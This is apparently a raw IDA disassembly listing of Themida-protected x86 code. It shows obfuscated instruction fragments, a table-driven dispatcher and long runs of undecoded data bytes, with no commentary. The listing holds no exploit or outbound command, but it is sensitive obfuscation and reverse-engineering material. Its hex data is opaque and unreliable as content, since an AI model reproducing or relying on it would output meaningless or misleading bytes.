0FFA6E1E9h db 0FFh ; --------------------------------------------------------------------------- loc_4FD8B9: ; CODE XREF: Themida_:004F5B8Fj xor esi, 6736C137h xor ecx, esi jmp loc_4F5750 ; --------------------------------------------------------------------------- dw 0C483h dd 0BCEB8104h, 290F4B50h, 0BCC381C3h, 810F4B50h, 0C55D06C3h dd 0E930FF51h, 0FFFF5610h, 83241C8Bh, 5E904C4h db 56h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FD8EF: ; CODE XREF: Themida_:004F9389j pop ecx add esp, 4 shr eax, 12h xor eax, ecx push 1538h mov [esp], eax jmp loc_4F701A ; --------------------------------------------------------------------------- aKai db 'K',0 db 0DDh dd 59EC885Bh, 0C0FFEC80h, 0CCFE05E4h, 0FF953EE9h, 0C7815DFFh dd 18553A1Eh, 0B850EF01h, 733A7D2Ch, 0FF9AE1E9h, 93D0F7FFh dd 8104E3C1h, 1E46CEEBh, 8BDA29F4h, 8953241Ch, 4C381E3h dd 83000000h, 1C8704C3h, 8B54E924h, 0FF5CFFFFh, 0E99C240Ch dd 0FFFFE2A4h, 0E904EC83h, 0FFFFEB2Bh, 0A900E956h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FD96E: ; CODE XREF: Themida_:004FD9DDj xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp jmp loc_4FE3DA ; --------------------------------------------------------------------------- loc_4FD97D: ; CODE XREF: Themida_:004F76F9j mov cl, al mov bl, cl pop ecx pop eax sub bl, 42h push ecx push ebx jmp loc_4F8DB5 ; --------------------------------------------------------------------------- loc_4FD98D: ; CODE XREF: Themida_:004F9BF7j push esi mov esi, 189B164Ah xor esi, 1C5F45A4h add esi, 325B7019h dec esi jmp loc_4F616B ; --------------------------------------------------------------------------- db 50h, 0B8h, 4 dd 1000000h, 0EC8158C1h, 4, 0E9243489h, 0FFFFF9FBh ; --------------------------------------------------------------------------- loc_4FD9BC: ; CODE XREF: Themida_:004F4752j mov [esp], ebx push edi mov edi, 60ED3EA2h push edi jmp loc_4F5273 ; --------------------------------------------------------------------------- db 8Bh dd 8951240Ch, 0BF7DE9E1h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FD9D6: ; CODE XREF: Themida_:004F34F7j pop eax jmp loc_4F3B62 ; --------------------------------------------------------------------------- loc_4FD9DC: ; CODE XREF: Themida_:004FACAAj pop eax jmp loc_4FD96E ; --------------------------------------------------------------------------- dw 0F100h dd 0E9525A66h, 0FFFF6A2Dh, 24048B66h, 53E06851h, 24890000h dd 4BE5624h, 1000000h, 8B042474h, 0C4832434h, 2434FF04h dd 0FF9760E9h, 241489FFh, 4EC81h, 21E90000h, 89FFFF58h dd 9CE95AD0h, 1FFFFC1h, 0AEE95AD3h, 0FFFFFFC5h, 3C8B2434h dd 4C48124h, 51000000h, 0B6E9E189h, 81FFFFCFh, 4ECh, 24048900h dd 167668h, 82D1E900h, 0EF81FFFFh, 3A454DF2h, 0C781D701h dd 3A454DF2h, 0FF8DF4E9h, 0C2295FFFh, 5E7BE958h, 0D530FFFFh dd 59E8285Ah, 0FF70C1E9h, 0E9E504FFh, 0FFFF71BCh, 5A5DEE89h dd 4EEC146h, 0D825EE81h, 0EB819FB3h, 3DA90007h, 0C381F301h dd 3DA90007h, 0FFF073E9h db 0FFh ; --------------------------------------------------------------------------- loc_4FDAA5: ; CODE XREF: Themida_:004FB02Cj mov esi, 851518Bh push edi mov edi, 2C002EE8h add edi, 725A1627h sub edi, 12AC5E08h jmp loc_4F7933 ; --------------------------------------------------------------------------- loc_4FDAC1: ; CODE XREF: Themida_:004F9545j add ecx, edi add [ecx], eax jmp loc_4FECB3 ; --------------------------------------------------------------------------- dw 9968h dd 5E4EF426h, 1B86B850h, 0D0F7043Bh, 0FFF6D0E9h, 77EB80FFh dd 71B05066h, 5866C328h, 4EC8153h, 89000000h, 28BF243Ch dd 68000000h, 7E7Eh, 8B243C89h, 0C481241Ch, 4, 0E9243C8Bh dd 0FFFF8BA5h, 8102EBC1h, 0D45F83C3h, 5BDD8943h, 35ED814Dh dd 8119723Ch, 0E93ECCF5h, 0B8BD5536h, 29453572h, 0C1815DE9h dd 7F5031B0h, 0A35E981h, 33E963B8h, 51FFFFF6h, 42474FFh dd 517E9h, 26800h, 15D0000h, 14335DEAh, 0FDBE924h, 0C7010000h dd 8324048Bh, 0EC8104C4h, 4, 50241C89h, 0DF6BF1B8h, 68C5E92Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FDB7A: ; CODE XREF: Themida_:004FBE48j add ebx, 6FFF4430h push eax mov eax, 62484DCDh dec eax xor eax, 66A90DB9h sub ebx, eax pop eax push dword ptr [ebx] jmp loc_4FC0C9 ; --------------------------------------------------------------------------- dw 0F381h dd 2C5796h, 570BC381h, 0C3811B4Bh, 747737AEh, 0C104EBC1h dd 0F38108EBh, 2CA9CC66h, 3DE9DF01h, 81FFFF65h, 1C5h, 3EDC100h dd 7DB8504Dh, 312F90F0h, 0EA0158C5h, 24348B5Dh, 52E08950h dd 4BAh, 5AD00100h, 8704C083h, 0E95C2404h, 0FFFFA77Bh dd 239E952h, 0CD810000h, 24BA659Eh, 63BFF581h, 0D2E944F7h dd 58FFFF77h, 4EC81h, 4890000h, 5585424h, 4, 5304C083h dd 0C381E389h, 4, 4EB81h, 3AE90000h, 81FFFFC7h, 4E9h, 240C8700h dd 243C895Ch, 0FF7019E9h, 0AAA05FFh, 882D2101h, 8B4A5B53h dd 0C481240Ch, 4, 0FFE827E9h db 0FFh ; --------------------------------------------------------------------------- loc_4FDC55: ; CODE XREF: Themida_:004FE781j push eax mov eax, 4FDD5D57h mov esi, eax pop eax mov ebx, esi pop esi xor eax, ebx push dword ptr [esp] pop ebx add esp, 4 or eax, eax jnz loc_4FA510 push eax mov eax, 60FD2BF2h sub esp, 4 mov [esp], ecx mov ecx, 3EAE1779h shl ecx, 6 or ecx, 2D7970D4h jmp loc_4F9DDB ; --------------------------------------------------------------------------- db 57h, 89h, 0E7h dd 4C781h, 57E90000h, 68000002h, 23B8h, 0FF6E78E9h db 0FFh ; --------------------------------------------------------------------------- loc_4FDCA9: ; CODE XREF: Themida_:004F95AEj xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] jmp loc_4F2EF4 ; --------------------------------------------------------------------------- dw 0E95Fh dd 0FFFFB890h, 68241489h, 14CDh, 0BE243489h, 1000000h dd 348BF289h, 4C48324h, 0FFAE5DE9h, 0ACB951FFh, 21500424h dd 0C58159CDh, 52F20F54h, 46D6ED81h, 0F5810675h, 4C7CE89Ah dd 535DE801h, 0CCE95552h db 0E9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FDD03: ; CODE XREF: Themida_:004F5F7Ej add ebp, 0FE2F089Fh jmp loc_4F95AB ; --------------------------------------------------------------------------- dw 0E789h dd 4C781h, 0E9510000h, 0FFFFD95Eh, 0EC815797h, 4, 0E9241489h dd 0FFFFDB3Eh ; --------------------------------------------------------------------------- loc_4FDD2C: ; CODE XREF: Themida_:004F54E3j add esp, 4 pop ebp xchg edx, ebp xchg edi, edx not edi xchg edi, edx xchg edx, ebp xor edx, ebp xor ebp, edx xor edx, ebp xor eax, edx xor edx, eax xor eax, edx jmp loc_4FDFFD ; --------------------------------------------------------------------------- dw 0BCB2h dd 5A66D528h, 80FFED80h, 0FE997C5h, 28FFFF6Dh, 0AFFEE9EBh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FDD66: ; CODE XREF: Themida_:004F74CBj xor ebp, [esp] xor [esp], ebp jmp loc_4F8F27 ; --------------------------------------------------------------------------- db 59h, 51h, 68h dd 14A4h, 0E9241C89h, 149Bh, 317EB951h, 0CD894C4Ah, 0C5814D59h dd 0B3B5CE87h, 2C8BEF01h, 4C48124h, 57000000h, 0FFED28E9h dd 3274BBFFh, 0F3814083h, 40833270h, 815BD989h, 243895EFh dd 81CF014Bh, 243895C7h, 0B880E94Bh, 248BFFFFh, 1511E924h dd 0E1890000h, 4C181h, 0BA520000h, 4, 835AD101h, 0C8904ECh dd 2474FF24h, 240C8B04h, 4C481h, 48F0000h, 54535C24h, 81241C8Bh dd 4C4h, 8FB9E900h, 2159FFFFh, 6443E9FEh, 0E789FFFFh, 4C781h dd 0C7810000h, 4, 0FFBE1CE9h db 0FFh ; --------------------------------------------------------------------------- loc_4FDE1D: ; CODE XREF: Themida_:004FA2DFj mov [esp], ebx push dword ptr [esp] push dword ptr [esp] jmp loc_4F76FE ; --------------------------------------------------------------------------- db 0BAh dd 19981DFEh, 0E2C1E2D1h, 4DE95204h, 89FFFF56h, 6EBD242Ch dd 0E9414620h, 0FFFFC94Fh, 6856515Dh, 11266F27h, 5024348Bh dd 0BE56E089h, 73F96FF3h, 0C102EEC1h, 0CE8105EEh, 6A0417B4h dd 0E6C1D6F7h, 4C68105h, 15CFF00h, 0C0835EF0h, 24048704h dd 0E9E6D15Ch, 0FFFF67E1h, 6BFC681h, 0EE813AD2h, 3CB6EAF2h dd 0E3E9F701h, 21FFFFF8h, 0E9C15FF9h, 4E94908h, 0F7FFFFF9h dd 81DE87D3h, 0CC6CDDE6h, 81D6F779h, 0D35AA2EEh, 0F27BE9AEh dd 0E95CFFFFh, 0FFFF75D0h ; --------------------------------------------------------------------------- loc_4FDEC0: ; CODE XREF: Themida_:004F39ACj mov [esp], esi mov eax, [esp] jmp loc_4FB65A ; --------------------------------------------------------------------------- db 8Bh dd 0E9522414h, 0FFFF8CA3h ; --------------------------------------------------------------------------- loc_4FDED4: ; CODE XREF: Themida_:004FC5F4j push 674A2C5Fh mov eax, [esp] add esp, 4 xor eax, 26261907h sub eax, 0C3403B6h xor eax, 353831A6h jmp loc_4FE49F ; --------------------------------------------------------------------------- dw 0EF83h dd 243C8704h, 2434895Ch, 757773BEh, 1EE8126h, 0F7000000h dd 0F6814ED6h, 0B04EEA17h, 8108E6C1h, 0FB5ADC6h, 6F16E96Ch dd 215CFFFFh, 240C8BC8h, 0FF8D01E9h, 4C481FFh, 89000000h dd 0D43E9EAh, 0B5510000h, 59EB8839h, 0E904EC83h, 11DEh dd 42474FFh, 0FF5E2FE9h db 0FFh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_4FE3EE ; --------------------------------------------------------------------------- db 56h dd 63FBE66h, 81664666h, 6625EFF6h, 19CFEE81h, 3AD668h dd 242C8900h, 1986BD66h, 2FF58166h, 66456660h, 5F54E581h dd 9CED8166h, 0EE296637h, 0B866505Dh, 35662F4Ch, 0CAE91922h dd 31FFFF92h, 1C33241Ch, 89665C24h, 39E92404h, 0BDFFFFC2h dd 7326391Bh, 0DD49E945h, 0E951FFFFh, 118Ch, 6624248Bh dd 0F7E9E9F7h, 89FFFFEBh, 0E589242Ch, 4C581h, 0BF570000h dd 22B06724h, 8953D7F7h, 0D60E9E3h, 814B0000h, 45FDDCF3h dd 0E9D931B7h, 0FFFF8264h, 240C8B66h, 13EFE9h db 0 ; --------------------------------------------------------------------------- loc_4FDFFD: ; CODE XREF: Themida_:004FDD49j sub esp, 4 mov [esp], edx push 0F9h jmp loc_4FCCE0 ; --------------------------------------------------------------------------- dd 0E9242C8Bh, 0FFFF6436h ; --------------------------------------------------------------------------- loc_4FE018: ; CODE XREF: Themida_:004F93FBj mov [esp], eax jmp loc_4FB2FA ; --------------------------------------------------------------------------- dd 1637E981h, 0CE01172Eh, 4BD5559h, 0E9000000h, 0FFFFEE93h dd 7CE9D888h, 5AFFFFA2h, 8026C380h, 0F380E4CBh, 5BDA88EEh dd 80A2E280h, 0CAFEC5E2h, 8085EA80h, 2DE980C2h, 0F6FFFFEBh dd 0E99C241Ch, 0FFFF4E90h, 83240C8Bh, 48F04C4h, 0FEB0E924h dd 840FFFFFh, 0FFFF6F95h, 24FE952h, 0C4810000h, 4, 5104C183h dd 0FF6BAAE9h db 0FFh ; --------------------------------------------------------------------------- loc_4FE08D: ; CODE XREF: Themida_:004F8935j xor bl, al movzx eax, al push dword ptr [edi+eax*4] jmp loc_4F6F3B ; --------------------------------------------------------------------------- dw 8B66h dd 0EC832404h, 241C8904h, 241C8B54h, 4C481h, 0BD550000h dd 30630B9Bh, 1ED81h, 0BE560000h, 0CF9CF46Ah, 0FF7E02E9h dd 0D84FBBFFh, 0F33196EEh, 5024348Bh, 405E089h, 5000000h dd 4, 5C240487h, 8B1C5F21h, 0C481241Ch, 4, 0FF4E03E9h dd 51F068FFh, 2C890000h, 0D2BE5624h, 8173A315h, 196181CEh dd 0D7F6810Bh, 812E4D71h, 36ADE4EEh, 5EF589F1h, 0EDC1DDF7h dd 79F58108h, 810ADE53h, 36B688EDh, 5DE831F9h, 592FEE81h dd 0C6012482h, 0FFB516E9h, 58C188FFh, 0DEF6EDB6h, 0F6BFE680h dd 39C680D6h, 288AEE80h, 8AC680CEh, 0FFBEA1E9h, 0E9D5F6FFh dd 0FFFF7313h, 77346851h, 0C8B1F88h, 4C48324h, 0FFA6B2E9h dd 0E9DAF7FFh, 0FFFFA71Dh, 0AC685052h, 583B046Eh, 0B22BD82Dh dd 58C289FDh, 0FFCE6EE9h, 1C895CFFh, 0F0E95124h, 81FFFF7Ch dd 0BE4F2AEBh, 9DC38174h, 680DE520h, 362Ah, 0B9240C89h dd 0A543ED7h, 5B05E952h, 0A068FFFFh, 8900001Bh, 4812424h dd 424h, 2434FF00h, 44E9h, 0FF1EB900h, 0CB315CEEh, 5BDD0159h dd 0FFA0D4E9h, 20ADBAFFh, 0A9BE5BEFh, 315BEF20h, 0A71EE9D6h dd 0FE87FFFFh, 0E6C1D6F7h, 8E6C108h, 9005E950h, 2ABFFFFFh dd 4F03A126h, 6FE9D7F7h, 58FFFFC8h, 0FF795DE9h, 0C4815FFFh dd 4, 0E4A7E952h, 30ACFFFFh, 4EC83D8h, 50241489h, 70B617B0h dd 5158C628h, 0E9E91BB1h, 55FFFF60h, 0A56CFDBDh, 0D5874D24h dd 81D58742h, 0A4FF2F5h, 0CEED8103h, 4D5B7B21h, 0FC69ED81h dd 0ED81860Ch, 462704D5h, 0E95DEF89h, 16Dh, 8043CF80h dd 0F800C7F7h, 0FFA787E9h, 2EA81FFh, 52000000h, 42474FFh dd 0FFFC52E9h db 0FFh ; --------------------------------------------------------------------------- loc_4FE279: ; CODE XREF: Themida_:004F9BB1j add eax, 21F67924h add eax, ecx jmp loc_4FC80A ; --------------------------------------------------------------------------- db 89h, 0Ch, 24h dd 0FF4C67E9h db 0FFh ; --------------------------------------------------------------------------- loc_4FE28D: ; CODE XREF: Themida_:004F8B08j pop ebx pop dword ptr [esp] pop esp mov [esp], eax sub esp, 4 mov [esp], ebp pop eax jmp loc_4F520E ; --------------------------------------------------------------------------- loc_4FE2A4: ; CODE XREF: Themida_:004F92E3j xor ecx, 40526226h jmp loc_4F3B1B ; --------------------------------------------------------------------------- db 8Bh dd 8B662424h, 10E92404h, 25FFFF6Ch, 153F56B8h, 520C2Dh dd 58C30100h, 0FF5A6CE9h, 44B850FFh, 0BA30D918h, 30D91860h dd 0E958C229h, 0FFFF5EF3h, 62F7C981h, 60E90B46h, 87FFFFACh dd 248B241Ch, 40524h, 0BA520000h, 2, 148BD001h, 4C48124h dd 50000000h, 42474FFh, 0E54EE958h, 0ED81FFFFh, 59B84D74h dd 0C583D5F7h, 0C79EE901h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FE322: ; CODE XREF: Themida_:004FB131j inc ecx sub ecx, 44B46E35h or ecx, 4F921225h or ecx, 308B5100h add ecx, 0D75741BCh add edi, ecx pop ecx push 157Fh jmp loc_4F722B ; --------------------------------------------------------------------------- dd 6B9D68h, 7685E900h, 0E9C1FFFFh, 0DA4AE90Ah, 8147FFFFh dd 0F59873C7h, 5FFE01D5h, 4C681h, 0CEE90000h, 89FFFFE2h dd 8B572404h, 83E92404h db 99h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FE37B: ; CODE XREF: Themida_:004F9DF7j add esp, 4 neg eax shl eax, 1 add eax, 75C62A99h jmp loc_4F379F ; --------------------------------------------------------------------------- db 0BDh dd 13AD6080h, 6E49ED81h, 0E56819A2h, 89000072h, 10B9240Ch dd 0E9619C3Eh, 0FFFFDFBBh ; --------------------------------------------------------------------------- loc_4FE3AC: ; CODE XREF: Themida_:004FB5F6j not ebx shr ebx, 1 dec ebx jmp loc_4FB0F7 ; --------------------------------------------------------------------------- dw 0EDC0h dd 7EDC004h, 2834C580h, 240C8BE8h, 0FF9436E9h, 2CBE56FFh dd 8138007Bh, 0E54742CEh, 0AE89E90Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FE3DA: ; CODE XREF: Themida_:004FD978j mov cx, [esp] push 582Ah mov [esp], eax mov eax, esp push edi jmp loc_4F76E1 ; --------------------------------------------------------------------------- loc_4FE3EE: ; CODE XREF: Themida_:004FDF5Aj add ebp, 4 xchg ebp, [esp] pop esp add dword ptr [esp+4], 76E2365Ah jmp loc_4F4A01 ; --------------------------------------------------------------------------- dw 405h dd 33000000h, 4312404h, 24043324h, 2404315Ch, 0FF4ADBE9h dd 81D6F7FFh, 0B50D95EEh, 5EF501F7h, 7128ED81h, 0FFE92CB7h dd 8BFFFF6Dh, 0C483240Ch, 24143304h, 0E9241431h, 0FFFFD9C3h dd 295FF829h, 1E6205E8h, 0F9E976CEh, 8BFFFFF9h, 0C4832434h dd 24143304h, 33241431h, 248B2414h, 48B6624h, 58496824h dd 3C890000h, 5F02E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FE472: ; CODE XREF: Themida_:004FBB8Fj mov ebp, [esp] add esp, 4 or ebx, ebx jmp loc_4F8093 ; --------------------------------------------------------------------------- loc_4FE47F: ; CODE XREF: Themida_:004F8EDEj sub bl, dl pop edx mov ax, [esp] add esp, 2 sub bl, al sub bl, 2Bh jmp loc_4FE708 ; --------------------------------------------------------------------------- loc_4FE496: ; CODE XREF: Themida_:004F352Ej shr ecx, 6 dec ecx jmp loc_4F4859 ; --------------------------------------------------------------------------- loc_4FE49F: ; CODE XREF: Themida_:004FDEF1j add ecx, eax mov eax, [esp] jmp loc_4FC467 ; --------------------------------------------------------------------------- db 55h, 0E9h, 0E0h db 0FEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FE4AF: ; CODE XREF: Themida_:004F3218j add ebp, 4 jmp loc_4FA7B3 ; --------------------------------------------------------------------------- dw 487h dd 0F7685C24h, 8900002Eh, 0BF572434h, 708C06Fh, 0FFE183E9h dd 2C781FFh, 87000000h, 0E0E9243Ch, 8BFFFF90h, 1AE9240Ch db 9, 2 dup(0) ; --------------------------------------------------------------------------- loc_4FE4E7: ; CODE XREF: Themida_:004FBBF5j mov eax, esp push ecx jmp loc_4F8685 ; --------------------------------------------------------------------------- db 52h dd 0E950E289h, 0FFFF8C20h, 0EFB9E951h, 0D028FFFFh, 0FFC065E9h dd 47F7BFFFh, 0E7816256h, 0E396970h, 0C8B6EF81h, 0E0E986B2h dd 83FFFFA4h, 0EF8104C4h, 56F35188h, 0FF6ED3E9h db 0FFh ; --------------------------------------------------------------------------- loc_4FE529: ; CODE XREF: Themida_:004FA54Bj xor [esp], ebp xor ebp, [esp] mov esp, [esp] jmp loc_4FEACD ; --------------------------------------------------------------------------- loc_4FE537: ; CODE XREF: Themida_:004FA1A5j mov [esp], ebp jmp loc_4F6AF1 ; --------------------------------------------------------------------------- db 0FFh dd 0E9592434h, 0FFFFDEC2h, 2DED7905h, 58C1892Ah, 12E9C829h db 0AFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FE557: ; CODE XREF: Themida_:004FD67Aj pop edi jmp loc_4FD595 ; --------------------------------------------------------------------------- db 5Bh, 0C0h, 0E0h dd 88912C04h, 24048BC1h, 0E904C483h, 0FFFF4ECBh, 437532Dh dd 243C8B13h, 4C481h, 0D8290000h, 8904EC83h, 94BB241Ch dd 13F5A3Eh, 0BE565BD8h, 33621C40h, 3036F681h, 0F74669C8h dd 0AFEE81D6h, 171B1B7h, 17685EF0h, 0E9000018h, 0FFFFD7ACh dd 0A8F8E950h, 8B66FFFFh, 35E92424h, 0FFFFFF49h, 669D1C77h dd 1CD36659h, 25E99C24h, 89FFFF49h, 8ABD242Ch, 0E9258E13h dd 0FFFFD9F8h, 4B8h, 58C10100h, 0FFD3A4E9h, 2E1768FFh dd 0C15A39F7h, 0C28105EAh, 0FFFFFFFFh, 6BE7BF57h, 0DE97795h dd 56FFFF86h, 0FF6F4FE9h, 2C181FFh, 0E9000000h, 0FFFFF04Fh dd 0F5B85056h, 0E957A162h, 0FFFF85A8h ; --------------------------------------------------------------------------- loc_4FE620: ; CODE XREF: Themida_:004FAF79j add ebp, 2FDE0E5Eh add ebp, esi jmp loc_4F92A7 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 2C6868h, 243C8900h, 7F671FBFh, 8EFC149h, 7D7AF781h dd 61E936A6h, 80FFFF88h, 0F68001EEh, 7EE8046h, 0FF4CF9E9h dd 0E9F231FFh, 0FFFFB6F6h, 0C731F831h, 5157F831h, 0CA27E95Fh dd 0E981FFFFh, 7CC8C517h, 5087EA81h, 0CA011D51h, 5087C281h dd 81591D51h, 5D2042EAh, 81C20164h, 5D2042C2h, 0F0685764h dd 8B0C5542h, 0C483243Ch, 8BFA2904h, 0E952243Ch, 0FFFFCEF4h dd 0E924148Bh, 0FFFF7C19h, 0D9F625B1h, 8034C180h, 0E9C033C9h dd 0C3F18004h, 0FFCE48E9h, 0B3E981FFh, 3110E98Eh, 240C8BC8h dd 0FF73FBE9h db 0FFh ; --------------------------------------------------------------------------- loc_4FE6D5: ; CODE XREF: Themida_:004F99A5j pop esp jmp loc_4F4849 ; --------------------------------------------------------------------------- db 81h dd 6FACEAC2h, 8BD501D3h, 9FE92414h, 54FFFF82h, 8124348Bh dd 4C4h, 59BF5700h, 50794A42h, 4A425DB8h, 0E9C73179h, 0A2h ; --------------------------------------------------------------------------- loc_4FE708: ; CODE XREF: Themida_:004FE491j movzx eax, al jmp dword ptr [edi+eax*4] ; --------------------------------------------------------------------------- dw 0C361h dd 240C8B66h, 8904EC83h, 8B54240Ch, 0F9E9240Ch, 0C0FFFFC6h dd 0C9FE06E9h, 0FFC1A4E9h, 13A2BBFFh, 0DA29F5D0h, 2C81525Bh dd 142B2724h, 0C5815D50h, 50142B27h, 8324148Bh, 0BF5704C4h dd 76CE1E62h, 0FFFCEBE9h, 0E95455FFh, 0FFFFE71Eh, 0E9240C87h dd 0FFFFCF56h, 5F04E800h, 3CB15159h, 0FF96DBE9h, 5BD830FFh dd 48BC230h, 0EF5EE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FE77E: ; CODE XREF: Themida_:004F5CD6j mov [esp], esi jmp loc_4FDC55 ; --------------------------------------------------------------------------- loc_4FE786: ; CODE XREF: Themida_:004F573Fj add ecx, esi jmp loc_4F4C09 ; --------------------------------------------------------------------------- db 89h, 14h, 24h dd 0FFF9C3E9h, 2434FFFFh, 0E6895658h, 42AB850h, 0E0C163CAh dd 5168E905h, 158FFFFh, 0C6815FFEh, 4, 31243433h, 0BE92434h dd 59FFFF5Dh, 4C481h, 0B7530000h, 0B2526679h, 0E9D700FDh dd 0FFFFA49Ch, 68240C89h, 5EC4237Fh, 0FF7D2BE9h, 26BB53FFh dd 0F7242922h, 61E943D3h, 81000006h, 4C4h, 66C33100h, 6600B60Fh dd 665FE668h, 0E9240489h, 0FFFF46ECh ; --------------------------------------------------------------------------- loc_4FE808: ; CODE XREF: Themida_:004FAED3j xor ebp, [esp] mov esp, [esp] mov [esp], cx mov ch, 0BFh add bl, ch mov cx, [esp] push ecx mov ecx, esp jmp loc_4F7A76 ; --------------------------------------------------------------------------- dw 815Bh dd 215561F3h, 81B95165h, 0E955EA15h, 0FFFFC91Fh, 83BE565Ah dd 4E496B72h, 0FF55FFE9h, 50D3F7FFh, 8904EC83h, 34FF241Ch dd 0A9E95824h, 66FFFFA4h, 56240C8Bh, 0D168E689h, 8900006Ah dd 0E956241Ch, 0FFFFF262h, 3E54BB53h, 0B951498Ch, 498C3E50h dd 159CB29h, 0CED7E9DEh, 552DFFFFh, 0E93B9F0Ch, 0FFFFB5FBh dd 8904EC83h, 4BA2414h, 0E9000000h, 0FFFF8CEAh, 4C3815Bh dd 81000000h, 4C3h, 241C8700h, 0FF6994E9h, 40540FFh, 1B000A0h dd 0C18358C1h, 0C04BE904h, 0B252FFFFh, 5AD48828h, 0FFAA75E9h dd 0BDE781FFh, 811AF34Bh, 9EFE4CC7h, 6E0705F7h, 0CDE959BCh dd 66FFFFEFh, 81241C8Bh, 2C4h, 59E82000h, 0FFE4A3E9h db 0FFh ; --------------------------------------------------------------------------- loc_4FE8F1: ; CODE XREF: Themida_:004FD2B8j mov ebp, 4 jmp loc_4F59C0 ; --------------------------------------------------------------------------- db 28h dd 2434FFC8h, 0FFA2FCE9h, 3EDC1FFh, 8FC4C581h, 0EA01E082h dd 0F953E95Dh, 0E981FFFFh, 4, 5C240C87h, 0E9243489h, 0FFFF7294h dd 0F64FED81h, 0EF290B23h, 0A28E9h, 9D05AD00h, 2902A102h dd 73CE9D8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_4FE942: ; CODE XREF: Themida_:004F502Ej push ecx mov ecx, esp push eax mov eax, 4 add ecx, 69091BDDh add ecx, eax sub ecx, 69091BDDh pop eax push ebp mov ebp, 4 add ecx, ebp pop ebp xchg ecx, [esp] jmp loc_4F882B ; --------------------------------------------------------------------------- db 53h dd 0AA56E958h, 8145FFFFh, 8906F0C5h, 0DB09E95Dh, 34FFFFFFh dd 26685924h, 8900005Ch, 8B542434h, 0C4812434h, 4, 4EC81h dd 2C890000h, 82BB5324h, 811E7A01h, 0F346B0C3h, 5BDD89F4h dd 241CF755h, 0FF4F97E9h db 0FFh ; --------------------------------------------------------------------------- loc_4FE9B5: ; CODE XREF: Themida_:004F8F70j push 313Fh mov [esp], esi mov esi, 4 sub ebp, esi push dword ptr [esp] pop esi add esp, 4 xchg ebp, [esp] mov esp, [esp] mov [esp], ebx mov ebx, esp push edx jmp loc_4F34BD ; --------------------------------------------------------------------------- db 56h dd 4B060FBEh, 0BBCCE903h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FE9EA: ; CODE XREF: Themida_:004FC03Bj mov esp, [esp] push dword ptr [edi+eax*4] xor dword ptr [esp], 4FDD5D57h jmp loc_4F5136 ; --------------------------------------------------------------------------- loc_4FE9FC: ; CODE XREF: Themida_:004F443Aj add ebp, 7B7C5DB2h sub ebp, 2D0369AFh pop eax sub esp, 4 mov [esp], ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] jmp loc_4FA87E ; --------------------------------------------------------------------------- dd 31B3CB8h, 58C10915h, 591BF181h, 0D4E92A7Eh, 29FFFFFBh dd 3B662DE8h, 0B9511D7Ch, 740307C0h, 0E2F6E981h, 0C801FF10h dd 0CBE5659h, 152D674h, 6799E9F0h, 8B66FFFFh, 0EC832404h dd 241C8904h, 0A5E9E389h, 8FFFFFD8h, 0EC832404h, 0DDEAE904h dd 8F59FFFFh, 248B2404h, 240C8B24h, 0FF904DE9h, 92B151FFh dd 0CE00FCB6h, 5AF58859h, 0F65BFD30h, 0B1CD80DDh, 5338B652h dd 0FFE017E9h, 401705FFh, 0C18965B4h, 0FF5E95E9h, 9DE181FFh dd 8118D967h, 5E4227C1h, 59C88927h, 0D35D8F7h, 483B5A0Bh dd 2408422Dh, 8D0FE957h, 5651FFFFh, 0FF448DE9h db 0FFh ; --------------------------------------------------------------------------- loc_4FEACD: ; CODE XREF: Themida_:004FE532j push esi push 70605C38h push dword ptr [esp] pop esi add esp, 4 push ebx mov ebx, 78A97A7Ch jmp loc_4F8CC2 ; --------------------------------------------------------------------------- dd 0EE43E993h, 0DDBFFFFFh, 812D6F71h, 9F3242F7h, 0F7E7D11Bh dd 0D7F747D7h, 8D6EF81h, 0A1E9FE46h, 5AFFFF9Dh, 2CC1C181h dd 0F90112D5h, 2CC1E981h, 875F12D5h, 248B240Ch, 2434FF24h dd 81240C8Bh, 4C4h, 960BE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FEB32: ; CODE XREF: Themida_:004F5978j push esp pop ebx jmp loc_4FF198 ; --------------------------------------------------------------------------- db 31h, 14h, 24h dd 0FFC57CE9h, 50E168FFh, 2C8B6110h, 0E1895124h, 0FFFC90E9h db 0FFh ; --------------------------------------------------------------------------- loc_4FEB51: ; CODE XREF: Themida_:004FB279j push 0 sub [esp], ebx mov ebx, [esp] jmp loc_4F95A0 ; --------------------------------------------------------------------------- db 9, 0D1h, 5Ah dd 5103E1C1h, 592414F7h, 0FFFAFDE9h, 4C381FFh, 87000000h dd 525C241Ch, 0CE960B6h, 0C0FFFF58h, 0C68002EEh, 5AF12809h dd 8B59C800h, 9CE92414h db 71h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FEB97: ; CODE XREF: Themida_:004F97CAj pop ecx push ebp mov ebp, 559C009Ah jmp loc_4F6B51 ; --------------------------------------------------------------------------- loc_4FEBA3: ; CODE XREF: Themida_:004F6AFBj mov ebp, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_4FA21E ; --------------------------------------------------------------------------- db 81h dd 4ECh, 24048900h, 4B8h, 6BC2E900h, 0C89FFFFh, 0E997B124h dd 0FFFF645Fh, 28C9F180h, 0EEC059CEh, 53F68004h, 5166682Ch dd 0FF5C34E9h, 243C8BFFh, 4C481h, 0E9570000h, 0FFFFBCE8h dd 672F5535h, 0BF6FE913h, 0AF0FFFFFh, 9CABE9C8h, 595DFFFFh dd 0FFA400E9h, 75C681FFh, 